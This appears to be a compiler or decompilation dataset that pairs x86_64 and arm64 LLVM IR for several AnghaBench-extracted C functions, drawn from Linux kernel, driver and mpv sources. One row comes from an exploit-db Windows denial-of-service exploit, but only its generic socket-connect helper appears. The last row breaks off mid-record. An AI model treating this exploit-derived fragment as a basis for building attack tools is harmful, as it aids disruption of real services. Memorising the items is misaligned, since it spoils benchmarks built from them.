IR_x86
string
IR_arm
string
filename
string
; ModuleID = 'AnghaBench/linux/arch/powerpc/mm/nohash/extr_tlb.c_tlb_flush.c' source_filename = "AnghaBench/linux/arch/powerpc/mm/nohash/extr_tlb.c_tlb_flush.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" ; Function Attrs: nounwind uwtable define dso_local void @tlb_flush(ptr nocapture noundef readonly %0) local_unnamed_addr #0 { %2 = load i32, ptr %0, align 4, !tbaa !5 %3 = tail call i32 @flush_tlb_mm(i32 noundef %2) #2 ret void } declare i32 @flush_tlb_mm(i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"mmu_gather", !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"}
; ModuleID = 'AnghaBench/linux/arch/powerpc/mm/nohash/extr_tlb.c_tlb_flush.c' source_filename = "AnghaBench/linux/arch/powerpc/mm/nohash/extr_tlb.c_tlb_flush.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" ; Function Attrs: nounwind ssp uwtable(sync) define void @tlb_flush(ptr nocapture noundef readonly %0) local_unnamed_addr #0 { %2 = load i32, ptr %0, align 4, !tbaa !6 %3 = tail call i32 @flush_tlb_mm(i32 noundef %2) #2 ret void } declare i32 @flush_tlb_mm(i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"mmu_gather", !8, i64 0} !8 = !{!"int", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"}
linux_arch_powerpc_mm_nohash_extr_tlb.c_tlb_flush
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/net/cxgb3/extr_sge.c_need_skb_unmap.c' source_filename = "AnghaBench/fastsocket/kernel/drivers/net/cxgb3/extr_sge.c_need_skb_unmap.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @llvm.compiler.used = appending global [1 x ptr] [ptr @need_skb_unmap], section "llvm.metadata" ; Function Attrs: inlinehint mustprogress nofree norecurse nosync nounwind willreturn memory(none) uwtable define internal noundef i32 @need_skb_unmap() #0 { ret i32 1 } attributes #0 = { inlinehint mustprogress nofree norecurse nosync nounwind willreturn memory(none) uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/net/cxgb3/extr_sge.c_need_skb_unmap.c' source_filename = "AnghaBench/fastsocket/kernel/drivers/net/cxgb3/extr_sge.c_need_skb_unmap.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @llvm.used = appending global [1 x ptr] [ptr @need_skb_unmap], section "llvm.metadata" ; Function Attrs: inlinehint mustprogress nofree norecurse nosync nounwind ssp willreturn memory(none) uwtable(sync) define internal noundef i32 @need_skb_unmap() #0 { ret i32 1 } attributes #0 = { inlinehint mustprogress nofree norecurse nosync nounwind ssp willreturn memory(none) uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
fastsocket_kernel_drivers_net_cxgb3_extr_sge.c_need_skb_unmap
; ModuleID = 'AnghaBench/mpv/player/extr_command.c_mp_property_frame_drop_vo.c' source_filename = "AnghaBench/mpv/player/extr_command.c_mp_property_frame_drop_vo.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.TYPE_2__ = type { i32, i32 } @M_PROPERTY_UNAVAILABLE = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @mp_property_frame_drop_vo], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal i32 @mp_property_frame_drop_vo(ptr nocapture noundef readonly %0, ptr nocapture readnone %1, i32 noundef %2, ptr noundef %3) #0 { %5 = getelementptr inbounds %struct.TYPE_2__, ptr %0, i64 0, i32 1 %6 = load i32, ptr %5, align 4, !tbaa !5 %7 = icmp eq i32 %6, 0 br i1 %7, label %8, label %10 8: ; preds = %4 %9 = load i32, ptr @M_PROPERTY_UNAVAILABLE, align 4, !tbaa !10 br label %14 10: ; preds = %4 %11 = load i32, ptr %0, align 4, !tbaa !11 %12 = tail call i32 @vo_get_drop_count(i32 noundef %11) #2 %13 = tail call i32 @m_property_int_ro(i32 noundef %2, ptr noundef %3, i32 noundef %12) #2 br label %14 14: ; preds = %10, %8 %15 = phi i32 [ %13, %10 ], [ %9, %8 ] ret i32 %15 } declare i32 @m_property_int_ro(i32 noundef, ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @vo_get_drop_count(i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 4} !6 = !{!"TYPE_2__", !7, i64 0, !7, i64 4} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!7, !7, i64 0} !11 = !{!6, !7, i64 0}
; ModuleID = 'AnghaBench/mpv/player/extr_command.c_mp_property_frame_drop_vo.c' source_filename = "AnghaBench/mpv/player/extr_command.c_mp_property_frame_drop_vo.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @M_PROPERTY_UNAVAILABLE = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @mp_property_frame_drop_vo], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal i32 @mp_property_frame_drop_vo(ptr nocapture noundef readonly %0, ptr nocapture readnone %1, i32 noundef %2, ptr noundef %3) #0 { %5 = getelementptr inbounds i8, ptr %0, i64 4 %6 = load i32, ptr %5, align 4, !tbaa !6 %7 = icmp eq i32 %6, 0 br i1 %7, label %8, label %10 8: ; preds = %4 %9 = load i32, ptr @M_PROPERTY_UNAVAILABLE, align 4, !tbaa !11 br label %14 10: ; preds = %4 %11 = load i32, ptr %0, align 4, !tbaa !12 %12 = tail call i32 @vo_get_drop_count(i32 noundef %11) #2 %13 = tail call i32 @m_property_int_ro(i32 noundef %2, ptr noundef %3, i32 noundef %12) #2 br label %14 14: ; preds = %10, %8 %15 = phi i32 [ %13, %10 ], [ %9, %8 ] ret i32 %15 } declare i32 @m_property_int_ro(i32 noundef, ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @vo_get_drop_count(i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 4} !7 = !{!"TYPE_2__", !8, i64 0, !8, i64 4} !8 = !{!"int", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!8, !8, i64 0} !12 = !{!7, !8, i64 0}
mpv_player_extr_command.c_mp_property_frame_drop_vo
; ModuleID = 'AnghaBench/exploitdb/exploits/windows/dos/extr_31323.c_konekt.c' source_filename = "AnghaBench/exploitdb/exploits/windows/dos/extr_31323.c_konekt.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.TYPE_4__ = type { i32, %struct.in_addr, i32, i32 } %struct.in_addr = type { i32 } @he = dso_local local_unnamed_addr global ptr null, align 8 @.str = private unnamed_addr constant [24 x i8] c"Unknow host!\0Aexiting...\00", align 1 @AF_INET = dso_local local_unnamed_addr global i32 0, align 4 @SOCK_STREAM = dso_local local_unnamed_addr global i32 0, align 4 @.str.1 = private unnamed_addr constant [7 x i8] c"socket\00", align 1 @their_addr = dso_local global %struct.TYPE_4__ zeroinitializer, align 4 @port = dso_local local_unnamed_addr global i32 0, align 4 @.str.2 = private unnamed_addr constant [8 x i8] c"connect\00", align 1 ; Function Attrs: nounwind uwtable define dso_local i32 @konekt(ptr noundef %0) local_unnamed_addr #0 { %2 = tail call ptr @gethostbyname(ptr noundef %0) #2 store ptr %2, ptr @he, align 8, !tbaa !5 %3 = icmp eq ptr %2, null br i1 %3, label %4, label %6 4: ; preds = %1 %5 = tail call i32 @printf(ptr noundef nonnull @.str) #2 br label %26 6: ; preds = %1 %7 = load i32, ptr @AF_INET, align 4, !tbaa !9 %8 = load i32, ptr @SOCK_STREAM, align 4, !tbaa !9 %9 = tail call i32 @socket(i32 noundef %7, i32 noundef %8, i32 noundef 0) #2 %10 = icmp eq i32 %9, -1 br i1 %10, label %11, label %13 11: ; preds = %6 %12 = tail call i32 @perror(ptr noundef nonnull @.str.1) #2 br label %26 13: ; preds = %6 %14 = load i32, ptr @AF_INET, align 4, !tbaa !9 store i32 %14, ptr getelementptr inbounds (%struct.TYPE_4__, ptr @their_addr, i64 0, i32 3), align 4, !tbaa !11 %15 = load i32, ptr @port, align 4, !tbaa !9 %16 = tail call i32 @htons(i32 noundef %15) #2 store i32 %16, ptr getelementptr inbounds (%struct.TYPE_4__, ptr @their_addr, i64 0, i32 2), align 4, !tbaa !14 %17 = load ptr, ptr @he, align 8, !tbaa !5 %18 = load i64, ptr %17, align 8, !tbaa !15 %19 = inttoptr i64 %18 to ptr %20 = load i32, ptr %19, align 4, !tbaa !9 store i32 %20, ptr getelementptr inbounds (%struct.TYPE_4__, ptr @their_addr, i64 0, i32 1), align 4, !tbaa !9 %21 = tail call i32 @memset(ptr noundef nonnull @their_addr, i8 noundef signext 0, i32 noundef 8) #2 %22 = tail call i32 @connect(i32 noundef %9, ptr noundef nonnull @their_addr, i32 noundef 4) #2 %23 = icmp eq i32 %22, -1 br i1 %23, label %24, label %26 24: ; preds = %13 %25 = tail call i32 @perror(ptr noundef nonnull @.str.2) #2 br label %26 26: ; preds = %13, %24, %11, %4 %27 = phi i32 [ -1, %4 ], [ -2, %11 ], [ -1, %24 ], [ %9, %13 ] ret i32 %27 } declare ptr @gethostbyname(ptr noundef) local_unnamed_addr #1 declare i32 @printf(ptr noundef) local_unnamed_addr #1 declare i32 @socket(i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @perror(ptr noundef) local_unnamed_addr #1 declare i32 @htons(i32 noundef) local_unnamed_addr #1 declare i32 @memset(ptr noundef, i8 noundef signext, i32 noundef) local_unnamed_addr #1 declare i32 @connect(i32 noundef, ptr noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"any pointer", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !10, i64 0} !10 = !{!"int", !7, i64 0} !11 = !{!12, !10, i64 12} !12 = !{!"TYPE_4__", !10, i64 0, !13, i64 4, !10, i64 8, !10, i64 12} !13 = !{!"in_addr", !10, i64 0} !14 = !{!12, !10, i64 8} !15 = !{!16, !17, i64 0} !16 = !{!"TYPE_5__", !17, i64 0} !17 = !{!"long", !7, i64 0}
; ModuleID = 'AnghaBench/exploitdb/exploits/windows/dos/extr_31323.c_konekt.c' source_filename = "AnghaBench/exploitdb/exploits/windows/dos/extr_31323.c_konekt.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" %struct.TYPE_4__ = type { i32, %struct.in_addr, i32, i32 } %struct.in_addr = type { i32 } @he = common local_unnamed_addr global ptr null, align 8 @.str = private unnamed_addr constant [24 x i8] c"Unknow host!\0Aexiting...\00", align 1 @AF_INET = common local_unnamed_addr global i32 0, align 4 @SOCK_STREAM = common local_unnamed_addr global i32 0, align 4 @.str.1 = private unnamed_addr constant [7 x i8] c"socket\00", align 1 @their_addr = common global %struct.TYPE_4__ zeroinitializer, align 4 @port = common local_unnamed_addr global i32 0, align 4 @.str.2 = private unnamed_addr constant [8 x i8] c"connect\00", align 1 ; Function Attrs: nounwind ssp uwtable(sync) define i32 @konekt(ptr noundef %0) local_unnamed_addr #0 { %2 = tail call ptr @gethostbyname(ptr noundef %0) #2 store ptr %2, ptr @he, align 8, !tbaa !6 %3 = icmp eq ptr %2, null br i1 %3, label %4, label %6 4: ; preds = %1 %5 = tail call i32 @printf(ptr noundef nonnull @.str) #2 br label %26 6: ; preds = %1 %7 = load i32, ptr @AF_INET, align 4, !tbaa !10 %8 = load i32, ptr @SOCK_STREAM, align 4, !tbaa !10 %9 = tail call i32 @socket(i32 noundef %7, i32 noundef %8, i32 noundef 0) #2 %10 = icmp eq i32 %9, -1 br i1 %10, label %11, label %13 11: ; preds = %6 %12 = tail call i32 @perror(ptr noundef nonnull @.str.1) #2 br label %26 13: ; preds = %6 %14 = load i32, ptr @AF_INET, align 4, !tbaa !10 store i32 %14, ptr getelementptr inbounds (i8, ptr @their_addr, i64 12), align 4, !tbaa !12 %15 = load i32, ptr @port, align 4, !tbaa !10 %16 = tail call i32 @htons(i32 noundef %15) #2 store i32 %16, ptr getelementptr inbounds (i8, ptr @their_addr, i64 8), align 4, !tbaa !15 %17 = load ptr, ptr @he, align 8, !tbaa !6 %18 = load i64, ptr %17, align 8, !tbaa !16 %19 = inttoptr i64 %18 to ptr %20 = load i32, ptr %19, align 4, !tbaa !10 store i32 %20, ptr getelementptr inbounds (i8, ptr @their_addr, i64 4), align 4, !tbaa !10 %21 = tail call i32 @memset(ptr noundef nonnull @their_addr, i8 noundef signext 0, i32 noundef 8) #2 %22 = tail call i32 @connect(i32 noundef %9, ptr noundef nonnull @their_addr, i32 noundef 4) #2 %23 = icmp eq i32 %22, -1 br i1 %23, label %24, label %26 24: ; preds = %13 %25 = tail call i32 @perror(ptr noundef nonnull @.str.2) #2 br label %26 26: ; preds = %13, %24, %11, %4 %27 = phi i32 [ -1, %4 ], [ -2, %11 ], [ -1, %24 ], [ %9, %13 ] ret i32 %27 } declare ptr @gethostbyname(ptr noundef) local_unnamed_addr #1 declare i32 @printf(ptr noundef) local_unnamed_addr #1 declare i32 @socket(i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @perror(ptr noundef) local_unnamed_addr #1 declare i32 @htons(i32 noundef) local_unnamed_addr #1 declare i32 @memset(ptr noundef, i8 noundef signext, i32 noundef) local_unnamed_addr #1 declare i32 @connect(i32 noundef, ptr noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"any pointer", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !11, i64 0} !11 = !{!"int", !8, i64 0} !12 = !{!13, !11, i64 12} !13 = !{!"TYPE_4__", !11, i64 0, !14, i64 4, !11, i64 8, !11, i64 12} !14 = !{!"in_addr", !11, i64 0} !15 = !{!13, !11, i64 8} !16 = !{!17, !18, i64 0} !17 = !{!"TYPE_5__", !18, i64 0} !18 = !{!"long", !8, i64 0}
exploitdb_exploits_windows_dos_extr_31323.c_konekt
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/staging/comedi/drivers/extr_s626.c_s626_ao_rinsn.c' source_filename = "AnghaBench/fastsocket/kernel/drivers/staging/comedi/drivers/extr_s626.c_s626_ao_rinsn.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.comedi_insn = type { i32, i32 } @devpriv = dso_local local_unnamed_addr global ptr null, align 8 @llvm.compiler.used = appending global [1 x ptr] [ptr @s626_ao_rinsn], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal i32 @s626_ao_rinsn(ptr nocapture readnone %0, ptr nocapture readnone %1, ptr nocapture noundef readonly %2, ptr nocapture noundef writeonly %3) #0 { %5 = load i32, ptr %2, align 4, !tbaa !5 %6 = icmp sgt i32 %5, 0 br i1 %6, label %7, label %24 7: ; preds = %4 %8 = getelementptr inbounds %struct.comedi_insn, ptr %2, i64 0, i32 1 br label %9 9: ; preds = %7, %9 %10 = phi i64 [ 0, %7 ], [ %18, %9 ] %11 = load ptr, ptr @devpriv, align 8, !tbaa !10 %12 = load ptr, ptr %11, align 8, !tbaa !12 %13 = load i32, ptr %8, align 4, !tbaa !14 %14 = tail call i64 @CR_CHAN(i32 noundef %13) #2 %15 = getelementptr inbounds i32, ptr %12, i64 %14 %16 = load i32, ptr %15, align 4, !tbaa !15 %17 = getelementptr inbounds i32, ptr %3, i64 %10 store i32 %16, ptr %17, align 4, !tbaa !15 %18 = add nuw nsw i64 %10, 1 %19 = load i32, ptr %2, align 4, !tbaa !5 %20 = sext i32 %19 to i64 %21 = icmp slt i64 %18, %20 br i1 %21, label %9, label %22, !llvm.loop !16 22: ; preds = %9 %23 = trunc i64 %18 to i32 br label %24 24: ; preds = %22, %4 %25 = phi i32 [ 0, %4 ], [ %23, %22 ] ret i32 %25 } declare i64 @CR_CHAN(i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"comedi_insn", !7, i64 0, !7, i64 4} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !11, i64 0} !11 = !{!"any pointer", !8, i64 0} !12 = !{!13, !11, i64 0} !13 = !{!"TYPE_2__", !11, i64 0} !14 = !{!6, !7, i64 4} !15 = !{!7, !7, i64 0} !16 = distinct !{!16, !17} !17 = !{!"llvm.loop.mustprogress"}
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/staging/comedi/drivers/extr_s626.c_s626_ao_rinsn.c' source_filename = "AnghaBench/fastsocket/kernel/drivers/staging/comedi/drivers/extr_s626.c_s626_ao_rinsn.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @devpriv = common local_unnamed_addr global ptr null, align 8 @llvm.used = appending global [1 x ptr] [ptr @s626_ao_rinsn], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal i32 @s626_ao_rinsn(ptr nocapture readnone %0, ptr nocapture readnone %1, ptr nocapture noundef readonly %2, ptr nocapture noundef writeonly %3) #0 { %5 = load i32, ptr %2, align 4, !tbaa !6 %6 = icmp sgt i32 %5, 0 br i1 %6, label %7, label %24 7: ; preds = %4 %8 = getelementptr inbounds i8, ptr %2, i64 4 br label %9 9: ; preds = %7, %9 %10 = phi i64 [ 0, %7 ], [ %18, %9 ] %11 = load ptr, ptr @devpriv, align 8, !tbaa !11 %12 = load ptr, ptr %11, align 8, !tbaa !13 %13 = load i32, ptr %8, align 4, !tbaa !15 %14 = tail call i64 @CR_CHAN(i32 noundef %13) #2 %15 = getelementptr inbounds i32, ptr %12, i64 %14 %16 = load i32, ptr %15, align 4, !tbaa !16 %17 = getelementptr inbounds i32, ptr %3, i64 %10 store i32 %16, ptr %17, align 4, !tbaa !16 %18 = add nuw nsw i64 %10, 1 %19 = load i32, ptr %2, align 4, !tbaa !6 %20 = sext i32 %19 to i64 %21 = icmp slt i64 %18, %20 br i1 %21, label %9, label %22, !llvm.loop !17 22: ; preds = %9 %23 = trunc nuw nsw i64 %18 to i32 br label %24 24: ; preds = %22, %4 %25 = phi i32 [ 0, %4 ], [ %23, %22 ] ret i32 %25 } declare i64 @CR_CHAN(i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" 